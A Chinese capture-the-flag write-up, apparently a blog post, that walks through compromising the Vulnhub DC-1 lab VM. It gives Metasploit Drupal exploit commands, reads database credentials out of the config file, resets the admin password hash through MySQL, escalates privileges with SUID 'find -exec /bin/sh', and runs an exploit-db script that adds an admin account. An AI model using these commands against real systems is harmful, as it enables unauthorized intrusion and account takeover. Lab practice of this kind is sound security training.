【Vulnhub靶机系列】DC1

基本信息

Kali: 192.168.56.116

DC1: 192.168.56.115

实验过程

先在Kali中使用arp-scan进行主机探活

sudo arp-scan --interface=eth1 192.168.56.0/24

图片

逐个排查发现DC1的IP地址为192.168.56.115

然后使用nmap对主机进行探测:

nmap -sC -sV -A -oA vulnhub/DC1/DC1 192.168.56.115

图片

主机分别开了: 22,80,111端口

我们先从80端口入手

图片

图片

可以发现网站是Drupal cms管理系统

我们启动msf,搜索下Drupal可用的EXP

msf > search Drupal

图片

这里我们选用

exploit/unix/webapp/drupal_drupalgeddon2

因为他是最新的,而且品质为excellent

msf6 > use exploit/unix/webapp/drupal_coder_execmsf6 exploit(unix/webapp/drupal_coder_exec) > show optionsmsf6 exploit(unix/webapp/drupal_coder_exec) > set RHOSTS 192.168.56.115msf6 exploit(unix/webapp/drupal_coder_exec) > set LHOST 192.168.56.116msf6 exploit(unix/webapp/drupal_coder_exec) > run

图片

这样我们就可以成功得到一个会话

我们用会话返回一个shell

图片

发现flag1.txt

查看下flag1.txt内容

图片

给我们一个提示 Every good CMS needs a config file - and so do you.

百度drupal配置文件的位置

图片

sites/default/files

 

图片

里面可以看到数据库的账号密码,同时我们还可以看到flag2的内容说:爆破不是唯一获得访问权限方法

 

'database' => 'drupaldb','username' => 'dbuser','password' => 'R0ck3t',

图片

那么我们用获得数据库的账号密码登录下数据看看

这里需要注意的是,我们需要用python转换成标准的shell,否则就会出现下面的场景,进入mysql之后,shell就没有反应:

图片

我们输入

python -c "import pty;pty.spawn('/bin/bash')"

图片

mysql> show database;
mysql> use drupaldb;
mysql> show tables;
mysql> select * from users;
mysql> select name,pass from users;

图片

这里的密码是经过drupal加密

在scripts的文件夹中有用来算密码的脚本,但是因为靶机的环境原因会报错。

图片

网上找了下,直接用别人算好的hash进行替换

明文:password密文:$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4

图片

接下来我们把管理员的密码重置下

 

mysql> update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4'where name='admin';

图片

然后进行登录

图片

然后发现flag3

图片

图片

从flag3的内容可以看到,提示我们需要用find提权同时我们也可以在家目录中找到flag4.

图片

Can you use this same method to find or access the flag in root?Probably. But perhaps it's not that easy. Or maybe it is?

我们使用find找下具有root权限的suid。

# -perm  按照文件权限来查找文件

# -u=w 基于用于可写查找

# -type f 查找普通类型文件

find / -perm -u=s -type f 2>/dev/null

图片

可以看到find是可以用来提权的

我们尝试用find执行命令

# 这里需要注意-name参数填写的文件名,是需要系统真实存在的

www-data@DC-1:/home/flag4$ find / -name flag4 -exec "whoami" \;

图片

那么我们接下来用find提权

www‐data@DC‐1:/home/flag4$ find / -name flag4 -exec "/bin/sh" \;

图片

这样我们就拿到最终的flag

额外内容

 

使用CVE2014-3704添加管理账号

在exploit-db中有可以直接利用的EXP,可以直接添加管理账号地址:https://www.exploit-db.com/exploits/34992 我们在Kali上开启HTTP服务,让靶机从Kali上下载EXP

图片

然后我们通过这个EXP创建管理账号

 

www‐data@DC‐1:/var/www$ python 34992.py ‐t http://192.168.56.115/ ‐u dfz ‐p ms08067

图片

然后就可以正常登录

图片

另一种查询具有root权限命令的find语句

find / -user root -perm -4000 -print 2>/dev/null

图片

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值